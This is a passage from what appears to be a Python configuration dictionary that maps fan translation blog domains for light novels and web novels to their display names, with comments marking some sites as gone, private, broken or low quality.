	'mineralwatertranslation.blogspot.co.id'          : 'Mineral Water Translation',
	'mineralwatertranslation.blogspot.com'            : 'Mineral Water Translation',
	'saiakutranslationsblog.wordpress.com'            : 'Saiaku Translations Blog',
	'mylittlehippokun.wordpress.com'                  : '/',
	'adorablexd.wordpress.com'                        : 'Joie de Vivre',
	'daike1234.wordpress.com'                         : 'Crappy Machine Translation',
	'dekinaidiary.wordpress.com'                      : 'Dekinai Diary',
	'v7silent.wordpress.com'                          : 'v7 Silent',


	"sousetsuka.blogspot.com"                         : "Sousetsuka",
	'sousetsuka.blogspot.ca'                          : 'Sousetsuka',
	'www.sousetsuka.com'                              : 'Sousetsuka',

	# Other
	"dragomircm.com"                                  : "DragomirCM",
	"feedproxy.google.com"                            : "FeedProxy",
	"izra709.com"                                     : "izra709 | B Group no Shounen Translations",
	"rebirthonlineworld.com"                          : "Rebirth Online World",
	"tototr.com"                                      : "Totokk\'s Translations",
	"www.worldofwatermelons.com"                      : "World of Watermelons",
	'77novel.com'                                     : '77 Novel',
	'adarshan-novels.livejournal.com'                 : 'Adarshan no Hanayome',
	'anni-fiesta.livejournal.com'                     : 'The Verbose Playground',
	'applepling.tumblr.com'                           : 'Collection.',
	'aresnovels.com'                                  : 'Ares Novels',
	'arkmachinetranslations.com'                      : 'Ark Machine Translations',
	'avertranslation.com'                             : 'Avert Translations',
	'avertranslation.org'                             : 'Avert Translations',
	'black-freya.livejournal.com'                     : 'Mobile Suit Zeta Gundam Novels Translation',
	'blastron01.tumblr.com'                           : 'Blastron Does Some Things',
	'blazingtranslations.com'                         : 'Blazing Translations',
	'catingham-palace.com'                            : 'Nekoyashiki',
	'cavescans.com'                                   : 'CaveScans',
	'chinanovel.net'                                  : 'Chinanovel.net',
	'circustranslations.com'                          : 'Circus Translations',
	'closure-of-yellow.tumblr.com'                    : 'Clôture of Yellow',
	'cnovels.bookbychapters.com'                      : 'Lil\' Bliss Novels',
	'bookbychapters.com'                              : 'Lil\' Bliss Novels',
	'cocobees.tumblr.com'                             : 'Cocobees',
	'demontranslations.com'                           : 'Demon Translations',
	'eccentrictranslations.com'                       : 'EccentricTranslations',
	'eternalpath.net'                                 : 'Root of Evil',
	'eugene-rain.com'                                 : 'Eugene Rain',
	'flowerbridgetoo.com'                             : 'Flower Bridge Too',
	'forgottenconqueror.com'                          : 'Forgotten Conqueror',
	'giraffecorps.liamak.net'                         : 'Giraffe Corps',
	'gomigeemu.tumblr.com'                            : 'Gomigeemu',
	'goodwifetranslation.com'                         : 'Good Wife Translation',
	'gravitytales.com'                                : 'Gravity Tales',
	'gravitytranslations.com'                         : 'Gravity Translation',
	'grimdarkztranslations.com'                       : 'GrimdarkZ Translations',
	'guhehe.net'                                      : 'guhehe.TRANSLATIONS',
	'helidwarf.com'                                   : 'Helidwarf',
	'hellping.org'                                    : 'Hellping',
	'heroicnovels.com'                                : 'Heroic Novels',
	'honyakusha-eri.tumblr.com'                       : 'Translator Eri',
	'inchoate-oeuvre.livejournal.com'                 : 'Inchoate Oeuvre',
	'indoromance.com'                                 : 'Evida\'s Indo Romance',
	'inmydaydreams.com'                               : 'In My Daydreams',
	'japtem.com'                                      : 'Japtem',
	'joeglens.com'                                    : 'Joeglen\'s Translation Space',
	'keseranpasaran.livejournal.com'                  : 'BL Drama Diary',
	'kobatochandaisuki.com'                           : 'KobatoChanDaiSukiScan',
	'krytykal.org'                                    : 'Krytyk\'s Translations',
	'lasolistia.com'                                  : 'HaruPARTY',
	'laute.tumblr.com'                                : 'Laute, Laute!',
	'lightnovelstranslations.com'                     : 'Light Novels Translations',
	'lily-ros3.livejournal.com'                       : 'Lily Ros 3',
	'liveandlearn88.com'                              : 'Grow with Me',
	'lmsmachinetranslations.com'                      : 'LMS Machine Translations',
	'ln.m-chan.org'                                   : 'Baka-Tsuki e-pub Generator',
	'lunacy-of-venomania.tumblr.com'                  : 'The Lunacy of Duke Venomania',
	'luxiufer.livejournal.com'                        : 'Luxiufer',
	'mikagura-scans.tumblr.com'                       : 'Mikagura Scanlations Club',
	'mittens-220.livejournal.com'                     : 'Mittens 220',
	'moonbunnycafe.com'                               : 'Moon Bunny Cafe',
	'necromancyscans.tumblr.com'                      : 'Scanlating the Lodoss Novels',
	'nightbreezetranslations.com'                     : 'Nightbreeze Translations',
	'novelsnao.com'                                   : 'Novels Nao',
	'omatranslations.com'                             : 'One Man Army Translations (OMA)',
	'opinisaya.com'                                   : 'Opinisaya.com',
	'orenotokei.livejournal.com'                      : 'Japanese Light Novels: Prologues',
	'pandatranslations.net'                           : 'pandafuqtranslations',
	'panisal.livejournal.com'                         : 'panisal',
	'pikatranslations.com'                            : 'Pika Translations',
	'project-accelerator.net'                         : 'Project Accelerator',
	'raisingthedead.ninja'                            : 'Raising the Dead',
	'www.raisingthedead.ninja'                        : 'Raising the Dead',
	'rancerqz.com'                                    : 'Rancer',
	're-monster.wikia.com'                            : 'Re:Monster Wiki',
	'reddycreations.com'                              : 'Reddy Creations',
	'renna-translations.tumblr.com'                   : 'Renna\'s Translations',
	'requirecookie.com'                               : 'Require: Cookie',
	'risingdragons.co'                                : 'Rising Dragons Translation',
	'rumanshi.com'                                    : 'Rumanshi\'s Lair',
	'Rumanshi.com'                                    : 'Rumanshi\'s Lair',
	's3ri.livejournal.com'                            : 'S3ri',
	'shinsekai.cadet-nine.org'                        : 'Shin Sekai Yori – From the New World',
	'shintranslations.com'                            : 'Shin Translations',
	'shiroyukitranslations.com'                       : 'Shiroyukineko Translations',
	'sinmay.livejournal.com'                          : 'Spirits Abound',
	'sl-llian.livejournal.com'                        : 'Llian',
	'slavetranslations.com'                           : 'Slave Translations',
	'soaringtranslations.com'                         : 'Soaring Translations',
	'sookybabi.livejournal.com'                       : 'Sooky\'s Kitchen',
	'soratranslations.com'                            : 'Sora Translations',
	'soul-eater-novel.tumblr.com'                     : 'Suikoden I: Soul Eater Novel Translation',
	'subudai11.com'                                   : 'Subudai11',
	'thetaleofxero.net'                               : 'Mystic Tales',
	'thundertranslations.com'                         : 'Thunder Translation',
	'thyaeriatranslations.com'                        : 'Thyaeria Translations',
	'tiffybook.com'                                   : 'Crazy for HE Novels',
	'totallyinsanetranlation.com'                     : 'Totally Insane Translation',
	'totobro.com'                                     : 'Totokk\'s Translations',
	'tototrans.com'                                   : 'Totokk\'s Translations',
	'translatisms.tumblr.com'                         : '陽光的夏天',
	'trinityarchive.com'                              : 'Trinity Archive',
	'trolllancer.com'                                 : '[G.O] Chronicles',
	'tsukilining.livejournal.com'                     : 'Tsuki\'s Miscellaneous',
	'turtleme.me'                                     : 'The Beginning After The End',
	'unlimitednovelfailures.mangamatters.com'         : 'Unlimited Novel Failures',
	'vgperson.tumblr.com'                             : 'VgPerson',
	'volaretranslations.com'                          : 'Volare Translations',
	'walkthejianghu.com'                              : 'Walk the Jiang Hu',
	'weaboodesu.com'                                  : 'Weaboo Desu',
	'Weaboodesu.com'                                  : 'Weaboo Desu',
	'wiegenlied-of-green.tumblr.com'                  : 'Wiegenlied of Green',
	'worldofwatermelons.com'                          : 'World of Watermelons',
	'wuxiaheroes.com'                                 : 'Wuxia Heroes',
	'wuxiasociety.com'                                : 'WuxiaSociety',
	'wuxiaworld.com'                                  : 'Wuxia World',
	'www.arantranslations.com'                        : 'Aran Translations',
	'www.baka-tsuki.org'                              : 'Baka-Tsuki',
	'www.bladeofhearts.com'                           : 'Blade of Hearts',
	'www.blazingtranslations.com'                     : 'Blazing Translations',
	'www.bluephoenixnovel.com'                        : 'Blue Phoenix',
	'bluephoenixnovel.com'                            : 'Blue Phoenix',
	'www.deadlylegends.com'                           : 'Deadly Forgotten Legends',
	'www.heroicnovels.com'                            : 'Heroic Novels',
	'www.lingson.com'                                 : 'Lingson\'s Translations',
	'www.lonahora.com'                                : 'Lonahora',
	'www.novelsaga.com'                               : 'Novel Saga',
	'www.pandatranslations.net'                       : 'Panda Translations',
	'www.paultwister.com'                             : 'The Tales of Paul Twister',
	'www.pegasusfarts.com'                            : 'Pegasus Farts',
	'www.pridesfamiliarsmaidens.com'                  : 'Pride X ReVamp',
	'www.princerevolution.org'                        : 'Prince Revolution!',
	'www.radianttranslations.com'                     : 'Radiant Translations',
	'www.renegadesanctuary.com'                       : 'Renegade Sanctuary',
	'www.risingdragonstranslation.com'                : 'Rising Dragons Translation',
	'www.shintranslations.com'                        : 'Shin Translations',
	'www.soltarination.org'                           : 'Soltarination Scanlations',
	'www.suiminchuudoku.net'                          : '睡眠中毒',
	'www.talesofmu.com'                               : 'Tales of MU',
	'www.taptaptaptaptap.net'                         : 'tap-trans » tappity tappity tap.',
	'www.translationnations.com'                      : 'Translation Nations',
	'www.wattpad.com'                                 : 'Wattpad',
	'www.whimsicalland.com'                           : 'Whimsical Land',
	'www.wuxiaheroes.com'                             : 'Wuxia Heroes',
	'www.wuxiatranslations.com'                       : 'Wuxia Translations',
	'www.wuxiaworld.com'                              : 'Wuxiaworld',
	'www.youjinsite.com'                              : 'Youjinsite Translations',
	'www.zeonic-republic.net'                         : 'Zeonic',
	'yellawtwl.com'                                   : 'Wuxiaworld',
	'youjinsite.com'                                  : 'Youjinsite Translations',
	'yuujinchou.livejournal.com'                      : 'Yuujinchou',
	'zhuanji.livejournal.com'                         : '未完待续',
	'toriitranslations.animeholics.org'               : 'Torii Translations',

	'fgilantranslations.wordpress.com'                : 'fgiLaN translations',
	'fgilantranslations.com'                          : 'fgiLaN translations',

	'slothtranslationsblog.wordpress.com'             : 'Sloth Translations Blog',
	'dadishero.wordpress.com'                         : 'DadIsHero Fan Translations',
	'ezanifiction.wordpress.com'                      : 'E. Zani Fiction',


	'chronazero.blogspot.com'                         : 'Chrona Zero',
	'tlsyosetsu.blogspot.it'                          : 'TL Syosetsu',
	'trungnguyenwriter.blogspot.se'                   : 'Trung Nguyen',
	'royalroad.blogspot.com'                          : 'The Bountiful REM Exploits of Danziger Monking',
	'misarumi.tumblr.com'                             : '宿命の二人',
	'ichinichibl.tumblr.com'                          : 'Ichinichi BL',
	'www.zxzxzx.info'                                 : 'Zxzxzx\'s blog',
	'bunimithetranslation.wordpress.com'              : 'A Translation of the Bu Ni Mi Light Novel ',
	'psicern.wordpress.com'                           : 'Psicern.Translations',
	'ninjanuf.wordpress.com'                          : 'NinjaNUF',
	'anotherworldtranslations.wordpress.com'          : 'Another World Translations',
	'arctranslations.wordpress.com'                   : 'Arc\'s Translations',
	'arslansenki.wordpress.com'                       : 'Heroic Legend of Arslan Translations',
	'ayaxworld.wordpress.com'                         : 'Ayax World',
	'bbluefiree.wordpress.com'                        : 'Bluefire Translations',
	'bijinsans.wordpress.com'                         : 'Bijinsans',
	'blackpond.wordpress.com'                         : 'Pandora\'s Book',
	'chronontranslations.wordpress.com'               : 'Chronon Translations',
	'cloudtranslations.wordpress.com'                 : 'Cloud Translations',
	'dowstranslations.wordpress.com'                  : 'DOW\'s Translations',
	'emptyboundaries.wordpress.com'                   : 'Empty Boundaries',
	'faketypist.wordpress.com'                        : 'Fake typist',
	'falinmer.wordpress.com'                          : 'Falinmer',
	'gaochaotranslations.wordpress.com'               : 'Gaochao Translations',
	'halfelementmaster.wordpress.com'                 : 'HalfElementMaster Translation',
	'halfelementmaster.com'                           : 'HalfElementMaster Translation',
	'honyakusite.wordpress.com'                       : 'Hon\'yaku',
	'januketranslations.wordpress.com'                : 'Januke Translations',
	'japanesemafialady.wordpress.com'                 : 'Kakkokari',
	'karkiat.wordpress.com'                           : 'Disappointing Translations',
	'keyotranslations.wordpress.com'                  : 'Keyo Translations',
	'kokumatranslations.wordpress.com'                : 'Kokuma Translations',
	'lickymeetranslations.wordpress.com'              : 'Lickymee Translations',
	'loliquentblog.wordpress.com'                     : 'Lynfamily',
	'mojotranslations.wordpress.com'                  : 'Mojo Translations',
	'nakimushitl.wordpress.com'                       : 'Nakimushi',
	'nefasvenustus.wordpress.com'                     : 'This World Work',
	'nepustation.wordpress.com'                       : 'Nepustation',
	'nepustation.com'                                 : 'Nepustation',
	'pekaboblog.wordpress.com'                        : 'Pekabo Blog',
	'penguinoverlordblog.wordpress.com'               : 'Penguin Overlord Translations',
	'premiumredtea.wordpress.com'                     : 'Premium Red Tea',
	'razorace.wordpress.com'                          : 'Tentatively under construction',
	'riptranslations.wordpress.com'                   : 'Rip translations',
	'ruibelle.wordpress.com'                          : 'Rui\'s Translations',
	'shenyuanlangmtl.wordpress.com'                   : 'Shen Yuan Lang MTL',
	'solstar24.wordpress.com'                         : 'Solstar24',
	'springscents.wordpress.com'                      : 'Spring Scents',
	'starrydawntranslations.wordpress.com'            : 'Starrydawn Translations',
	'taidadonotranslations.wordpress.com'             : 'Taida-dono Translations',
	'trytranslations.wordpress.com'                   : 'Try Translations',
	'turtleandharetranslations.wordpress.com'         : 'Turtle and Hare Translations',
	'wizthief.wordpress.com'                          : 'WizThief\'s Novels',
	'wuxiatranslators.wordpress.com'                  : 'Wuxia Translators',
	'dailydallying.com'                               : 'Daily-Dallying',
	'cookiepasta.com'                                 : 'CookiePasta Translations',
	'chasingadreamtranslations.com'                   : 'Translating For Your Pleasure',
	'falamartranslation.wordpress.com'                : 'Falamar Translation',
	'cautrs.com'                                      : 'Cautr\'s',
	'machineslicedbread.xyz'                          : 'Machine Sliced Bread',
	'koongkoongtranslations.com'                      : 'Koong Koong Translations',
	'www.lightnovelstranslations.com'                 : 'Light Novels Translations !',
	'www.anotherparallel.space'                       : 'Another Parallel World',
	'talesoftheforgottenslayer.wordpress.com'         : 'Tales of The Forgottenslayer',
	'welcometotheunderdark.wordpress.com'             : 'Welcome To The Underdark',
	'snowy.pub'                                       : 'Snowy Publications',
	'twigserial.wordpress.com'                        : 'Twig',
	'silvalibrary.com'                                : 'Silva\'s Library',


	'sparkskey.livejournal.com'                       : '희노애락',
	'narumo.livejournal.com'                          : 'Creepy and Evil Translations',
	'forbidentry.livejournal.com'                     : 'Forbidentry',
	'redturtle95.livejournal.com'                     : 'Turtle\'s',
	'yonakayaku.tumblr.com'                           : 'HaruChika & Ghost Hunt Translations',
	'dragonmt.wordpress.com'                          : 'Dragon MT',
	'nanowave.wordpress.com'                          : 'Nanowave Translations',
	'altoroctranslations.wordpress.com'               : 'Altoroc Translations',
	'delicioustranslations.wordpress.com'             : 'Delicious Translations',
	'norvablog.wordpress.com'                         : 'Norva Blog',
	'tatakaushisho.wordpress.com'                     : 'Tatakau Shisho Light Novel Translation',
	'dreamlesswindow.wordpress.com'                   : 'Dreamless Window\'s translation',


	'pettankotranslations.wordpress.com'              : 'Pettanko Translations',
	'www.ironteethserial.com'                         : 'The Iron Teeth',
	'senjiqcreations.wordpress.com'                   : 'SenjiQ creations',


	'emruyshittranslations.blogspot.com'              : 'Emruyshit Translations',
	'negaraizu.wordpress.com'                         : 'Nega Translations',
	'nighttranslations.wordpress.com'                 : 'NightFall Translations',
	'oyasumireads.wordpress.com'                      : 'Oyasumi Reads',
	'spiritualtranscription.wordpress.com'            : 'Spiritual Transcription',


	'fantasybooksforever.blogspot.com.au'             : 'Fantasy novels',
	'fantasybooksforever.blogspot.com'                : 'Fantasy novels',
	'icarusbride.blogspot.com'                        : 'Icarus Bride Scanlation',
	'kyoptionslibrary.blogspot.ca'                    : 'KyOption\'s Library',
	'dhh-workshop.blogspot.com'                       : 'DHH Translations',
	'mahoukoukoku.blogspot.co.id'                     : 'Mahou Koukoku',
	'asiaisaru.livejournal.com'                       : 'Death, taxes, and fandom.',
	'dandeliontrail.livejournal.com'                  : 'Dandelion Trail',
	'hugginglove.blogspot.my'                         : 'Hugs & Love',
	'hugginglove.blogspot.com'                        : 'Hugs & Love',

	'polaristranslations.tumblr.com'                  : 'Polaris Translations',
	'freezinglightnovels.wordpress.com'               : 'Freezing Light Novels',
	'tamakeribanchou.wordpress.com'                   : '\'Ball\'-Kicking Gang Boss',
	'arousingimouto.wordpress.com'                    : 'Arousing Imouto',
	'yamenaideoneesama.wordpress.com'                 : '止めないで、お姉さま…',
	'azuremysterioustofusect.wordpress.com'           : '青玄豆腐幇',
	'psychobarcodetranslations.wordpress.com'         : 'Psycho Barcode Translations',
	'fablewind.wordpress.com'                         : 'Fable Wind',
	'snowtranslations.wordpress.com'                  : 'Snow Translations',
	'rinotakublog.wordpress.com'                      : 'RinOtakuBlog',
	'kawaiidaikon.wordpress.com'                      : 'Kawaii Daikon',
	'anneandcindy.wordpress.com'                      : 'Anne And Cindy',
	'ntrholic.wordpress.com'                          : 'NTRHolic',
	'sleepytranslations.wordpress.com'                : 'Sleepy Translations',
	'shell2ly.wordpress.com'                          : 'Shell2ly C-Novel Site',
	'harezora.wordpress.com'                          : 'Ling Translates Sometimes',
	'noodletowntranslated.wordpress.com'              : 'Noodletown Translated',
	'noodletowntranslated.com'                        : 'Noodletown Translated',
	'mayy91.wordpress.com'                            : 'Twelve Months of May',
	'lypheonblog.wordpress.com'                       : 'Lypheon Machine Translation',
	'novelisation.wordpress.com'                      : 'Novelisation',
	'demerithtranslation.wordpress.com'               : 'Demerith Translation',
	'tinkerbellsan.wordpress.com'                     : 'Tinkerbell-san',
	'hellyeah524.wordpress.com'                       : 'Hell Yeah 524',
	'monktranslations.wordpress.com'                  : 'Monkoto\'s Translations',
	'bayabuscotranslation.wordpress.com'              : 'Bayabusco Translation',
	'lohithbbtls.wordpress.com'                       : 'Lohithbb TLs',
	'faktranslations.wordpress.com'                   : 'Fak Translations',
	'faktranslations.com'                             : 'Fak Translations',
	'epithetic.wordpress.com'                         : 'Epithetic',
	'mtlcrap.wordpress.com'                           : 'MTLCrap',
	'redlanternarchives.wordpress.com'                : 'Red Lantern Archives',
	'tarabletranslation.wordpress.com'                : 'Tarable Translations',
	'skullsquadorn.wordpress.com'                     : 'Skull Squadron',
	'wltrans.wordpress.com'                           : 'WL Translations',
	'bruintranslation.wordpress.com'                  : 'Bruin Translation',
	'comereadme.wordpress.com'                        : 'Read Me Translations',
	'junjuntianxia.wordpress.com'                     : 'Jun Juntianxia',
	'alicemtl.wordpress.com'                          : 'AliceMTL',
	'hikkinomori.wordpress.com'                       : 'Hikki no Mori Translations',
	'asd398.wordpress.com'                            : 'asd398',
	'ridwantrans.wordpress.com'                       : 'RidwanTrans',
	'ameryedge.com'                                   : 'Amery Edge',
	'www.novelsground.com'                            : 'Novels Ground',
	'tseirptranslations.com'                          : 'Tseirp Translations',
	'littleshanks.net'                                : 'LittleShanks Translations',
	'littlenovel.com'                                 : 'Little Novel Translation',
	'hyorinmaru.net'                                  : 'Hyorinmaru',
	'hyorinmarublog.wordpress.com'                    : 'Hyorinmaru',

	'realmofchaosblog.wordpress.com'                  : 'Realm of Chaos',
	'albertkenoreijou.wordpress.com'                  : 'Albert Kenoreijou',
	'piggybottle.wordpress.com'                       : 'PiggyBottle Translations',
	'projecthydrogen.wordpress.com'                   : 'Sandwich Kingdom',
	'tyrantseyetranslations.wordpress.com'            : 'Tyrant\'s Eye Translations',
	'kondeesite.wordpress.com'                        : 'KONDEE Translations',
	'ukel2x.wordpress.com'                            : 'Ukel2x',
	'ukel2x.blogspot.com'                             : 'Ukel2x',
	'procrastranslation.wordpress.com'                : 'ProcrasTranslation',
	'novelsjapan.wordpress.com'                       : 'Novels Japan',
	'novelsjapan.com'                                 : 'Novels Japan',
	'7daystrial.wordpress.com'                        : '7 Days Trial',
	'dokuhanatl.wordpress.com'                        : 'DokuHana Translations',
	'ensigblog.wordpress.com'                         : 'Ensig\'s Writings',

	'rinkagetranslation.com'                          : 'Rinkage Translation',
	'wltranslations.com'                              : 'WL Translations',

	'shikkakutranslations.org'                        : 'Shikkaku Translations',

	'polarbearcatcher.wordpress.com'                  : 'Polar Bear Catcher',
	'apollotrans.wordpress.com'                       : 'Apollo Translations',
	'vermillionthetranslation.wordpress.com'          : '(NanoDesu) - Vermillion',
	'leechervamparis.wordpress.com'                   : 'Leecher Vamparis Translations',
	'wumstranslations.wordpress.com'                  : 'Wums Translations',
	'poorqualitytl.wordpress.com'                     : 'Poor Quality Translations',
	'hiohbye.wordpress.com'                           : 'Hiohbye Translations',
	'daupao.wordpress.com'                            : 'Daupao',
	'soulpermutation.wordpress.com'                   : 'Soul Permutation',
	'wisnujr.wordpress.com'                           : 'Noob Mtl',
	'zerotranslations.wordpress.com'                  : 'Zero Translations',
	'elementalcobalt.wordpress.com'                   : 'Elemental Cobalt',
	'xianxiatales.wordpress.com'                      : 'Xianxia Tales',
	'ceiphiedknightandbanditsplight.wordpress.com'    : 'Chaos Words',
	'pathoftranslation.wordpress.com'                 : 'Path of Translation',
	'myoniyonitranslations.wordpress.com'             : 'Myoniyoni Translations',
	'alternativeprojects.wordpress.com'               : 'Alternative Projects',
	'yamettetranslations.wordpress.com'               : 'Yamette Translations',
	'euphmoria.wordpress.com'                         : 'No Name Translations',

	'godawfultranslator.blogspot.com'                 : 'God Awful Machine Translator',
	'imperatorarcana.blogspot.com'                    : 'Imperator',
	'zips-17.livejournal.com'                         : 'Zips_17',
	'penumbrale.livejournal.com'                      : 'Penumbrale',
	'2minutesofyourtime.tumblr.com'                   : 'Pleiades',
	'himegaminomiko.tumblr.com'                       : 'Himegami no Miko Translated',
	'mirroredtranslations.tumblr.com'                 : '鏡像翻訳',
	'novelsnchill.com'                                : 'Novels&Chill',
	'levitytales.com'                                 : 'Levity Tales',
	'www.mayyth.com'                                  : 'Twelve Months of May',
	'yamitranslations.com'                            : 'Yami Translations',
	'sakurane.sky-field.org'                          : 'Sakurane',
	'reincarnationtranslations.com'                   : 'Reincarnation Translations',
	'spiritgodshura35.wordpress.com'                  : 'Spirit God Shura',
	'lightsways.wordpress.com'                        : 'The Boy Who Couldn\'t Be A Hero',
	'landoflightnovels.wordpress.com'                 : 'Land of Light Novels',
	'reitransblog.wordpress.com'                      : 'Rei TransBlog',
	'whitenightsite.wordpress.com'                    : 'White Night Site',
	'extantvisions.com'                               : 'Extant Visions',



	'chillock-amt.blogspot.com'                       : 'Anime, Manga, Translations',
	'exploringtheroadoflife.blogspot.co.id'           : 'I swear I\'m not lost... I\'m just... exploring...',
	'hextidol.blogspot.com'                           : 'For Kalimdor!',
	# 'jolecole.blogspot.com'                           : 'jolecole.blogspot.com',
	'kfn-translations.blogspot.com'                   : 'Knight Fantastic Night Translations',
	'shinetranslation.blogspot.com'                   : 'Shine Translation',
	'shovatranslations.blogspot.com'                  : 'Shova Translations',
	'amethystcria.tumblr.com'                         : '✱||| Straying away…。',
	# 'chendaere.tumblr.com'                            : 'chendaere.tumblr.com',
	'doushinojikan.tumblr.com'                        : 'Doushi no Jikan scanlations',
	# 'hisokasasss.tumblr.com'                          : 'hisokasasss.tumblr.com',
	'izuminotwins.tumblr.com'                         : 'Prince of Stride Novel Translation',
	# 'kiyoitsukikage.tumblr.com'                       : 'kiyoitsukikage.tumblr.com',
	'revolutionpotato.tumblr.com'                     : 'Various Translated Work',
	# 'shou7.tumblr.com'                                : 'shou7.tumblr.com',
	'tang-wei.tumblr.com'                             : 'Welcome to the Malformed Box',
	'xia0yuer.tumblr.com'                             : 'Confessions of a Drama Addict',
	# 'yifanqini.tumblr.com'                            : 'yifanqini.tumblr.com',
	'ciaranhillock.tumblr.com'                        : 'Ciaran Hillock',
	'ankoutranslations.wordpress.com'                 : 'Ankou Translations',
	'bananachocolatecosmos.wordpress.com'             : 'ChocolateCosmos Translations',
	'chinalightnovel.wordpress.com'                   : 'China Light Novel',
	'chinesenoveltranslated.wordpress.com'            : 'Chinese Novel Translated',
	'datebayoblog.wordpress.com'                      : 'Datebayo Blog',
	'demonscorpion.wordpress.com'                     : 'Demon Scorpion Translations',
	'dreamylilies.wordpress.com'                      : 'Your Majesty Please Calm Down',
	'duwarufutranslations.wordpress.com'              : 'Dwrf TL',
	'elephantno5.wordpress.com'                       : 'World Turtle Translations',
	'expnull.wordpress.com'                           : 'ExpNull',
	'extralaki.wordpress.com'                         : 'Laki\'s Laboratory',
	'fakeftranslations.wordpress.com'                 : 'Fake Fruits Translations',
	'fluffysnowtime.wordpress.com'                    : 'SnowTime Translations',
	'forthemoneytranslations.wordpress.com'           : 'Forthemoney Translations',
	'girlynovelsblog.wordpress.com'                   : 'Girly Novels',
	'heavensjustice.wordpress.com'                    : 'Heavens Justice Translation',
	'honeyfulananas.wordpress.com'                    : 'Ananas Parfait',
	'iballisticbunnies.wordpress.com'                 : 'I Ballistic Bunnies',
	'idyllictranslations.wordpress.com'               : 'Idyllic Translations',
	'incarneous.wordpress.com'                        : 'Incarneous',
	'intentionsofxing.wordpress.com'                  : 'Bo~',
	'jenpresstranslation.wordpress.com'               : 'Jen Press Translation',
	'jujutranslation.wordpress.com'                   : 'JuJu Translation',
	'kagurojp.wordpress.com'                          : 'Kaguro Jp',
	'kai5404.wordpress.com'                           : 'Kai\'s Translations',
	'kiriharamaya.wordpress.com'                      : 'Kirihara Maya',
	'kudarajin.wordpress.com'                         : 'Kudarajin',
	'l3detal.wordpress.com'                           : 'L3D',
	'legendoftheevilgod.wordpress.com'                : 'Legend of the Evil God',
	'legionrealm.wordpress.com'                       : 'Legions Realm',
	'loathsometranslations.wordpress.com'             : 'Loathsome Translations',
	'luminstia.wordpress.com'                         : 'Luminstia',
	'magictrans.wordpress.com'                        : 'Magictrans',
	'mountainofpigeons.wordpress.com'                 : 'Mountain of Pigeons Translations',
	'mtlspot.wordpress.com'                           : 'Chimp\'s MTL Spot',
	'mtnovels.wordpress.com'                          : 'MT Novels',
	'myengtranslation.wordpress.com'                  : 'MyEngTranslation',
	'nadenadeshitai.wordpress.com'                    : 'Nadenadeshitai',
	'nexserus.wordpress.com'                          : 'Nex Serus',
	'novelstravel.wordpress.com'                      : 'Novels Travel',
	'pengutaichou.wordpress.com'                      : 'Pengu Taichou',
	'pumlated.wordpress.com'                          : 'Pumlated',
	'riestranslations.wordpress.com'                  : 'Ries Translations',
	'rinveltsou.wordpress.com'                        : 'Rinvelt House',
	'rogueapple.wordpress.com'                        : 'Rogue Apple',
	'rottentranslations.wordpress.com'                : 'Rotten Translations',
	'sabishidesu.wordpress.com'                       : 'Sabishi desu!!',
	'sekaikuroba.wordpress.com'                       : 'Sekai no Kuroba',
	'shalvationtranslations.wordpress.com'            : 'Shalvation Translations',
	'shamelessoniisan.wordpress.com'                  : 'Shameless Onii-san',
	'shenweilantian.wordpress.com'                    : 'Deep Azure Sky',
	'shouldntbehereblog.wordpress.com'                : 'Shouldnt be here blog',
	'shugui.wordpress.com'                            : '『書櫃』',
	'silkpantsentente.wordpress.com'                  : 'Silkpants Entente',
	'solitaryidler.wordpress.com'                     : '閒人 • O N L I N E',
	'sunnytranslations.wordpress.com'                 : 'SunnyTranslations',
	'tequilamockingbard.wordpress.com'                : 'Tequila Mockingbard',
	'tokyoespscans.wordpress.com'                     : 'Tokyo ESP Scans',
	'tranzgeek.wordpress.com'                         : 'T&Q',
	'uniquebooksblog.wordpress.com'                   : 'Unique Books',
	'yasashihonyaku.wordpress.com'                    : 'Yasashi Honyaku',
	'yeagdrasil.wordpress.com'                        : 'Yeagdrasil',
	'www.ameryedge.com'                               : 'Amery Edge',
	'warites.org'                                     : 'Warrior Writing',
	'wigglytranslation.com'                           : 'Wiggly Translation',
	'penofhope.com'                                   : 'World of Hope',
	'myoniyonitranslations.com'                       : 'Myoniyoni Translations',
	'antheor.eu'                                      : 'Antheor',
	'www.yamitranslations.com'                        : 'Yami Translations',
	'bayabuscotranslation.com'                        : 'Bayabusco Translation',
	'martialdao.com'                                  : 'Martial Dao',
	'www.readingattic.com'                            : 'Reading Attic',
	'mistycloudtranslations.com'                      : 'Misty Cloud Translations',
	'hachidoritranslations.com'                       : 'Hachidori Translations',
	'weletranslation.com'                             : 'Wele Translations',
	'asuratales.com'                                  : 'Asura Tales',
	'exmachina.asia'                                  : 'ExMachina.Asia',
	'lightnovels.world'                               : 'Light Novels World',
	'myotterspace.com'                                : 'Otterspace Translation',
	'zxzxzx.info'                                     : 'Zxzxzx\'s Blog',
	'www.endofdoom.com'                               : 'End of Doom MTL',
	'www.kencephalontranslations.com'                 : 'Kencephalon Translations',
	'www.lesyt.xyz'                                   : 'LESYT',
	'www.pathoftranslation.com'                       : 'Path of Translation',
	'www.rainbowturtletranslation.com'                : 'Rainbow Turtle Translations',
	'www.steadytranslation.com'                       : 'Steady Translation',
	'chillock.wordpress.com'                          : 'Anime, manga, translations',



	# Redirect loop.
	'lightnovelcafe.com'                              : 'Light Novel Cafe',


	# Low quality
	'owari-owari.tumblr.com'                          : '♥ yenney ♥',
	'chilly-territory.tumblr.com'                     : 'Chilly Territory',
	'theyseemewhalin.tumblr.com'                      : 'The Captain\'s Log',

	# Currently empty?
	'evernightblog.wordpress.com'                     : 'Ever Night Blog',

	# Private
	'hereticlnt.blogspot.ca'                          : 'hereticlnt.blogspot.ca',
	'heartlapsed.wordpress.com'                       : 'heartlapsed.wordpress.com',

	# Gone
	'thepaperfictions.wordpress.com'                  : 'thepaperfictions.wordpress.com',

	# Broken?
	'novelcow.com'                                    : 'NovelCow',

	# Removed:
	'ciaranhillock.blogspot.com'                      : 'ciaranhillock.blogspot.com',
	'mousou-haven.com'                                : 'Mousou Haven',

	# Now a scumware site?
	'ruzetranslations.org'                            : 'ruzetranslations.org',


	# Garbage or non-translation blogs:
	'cacatuasulphureacitrinocristata.tumblr.com'      : 'cacatuasulphureacitrinocristata.tumblr.com',  # 'A lil\' shipping never hurts',   # More naruto bs
	'raspomme.tumblr.com'                             : 'raspomme.tumblr.com',                         # 'Soup Fanclub',            # raspomme.tumblr.com/rss
	'shuuen-scans.tumblr.com'                         : 'shuuen-scans.tumblr.com',                     # 'Shuuen Scanlations',        # shuuen-scans.tumblr.com/rss



	# Fix things
	'Rosy Fantasy' : 'Rosyfantasy - Always Dreaming',


}

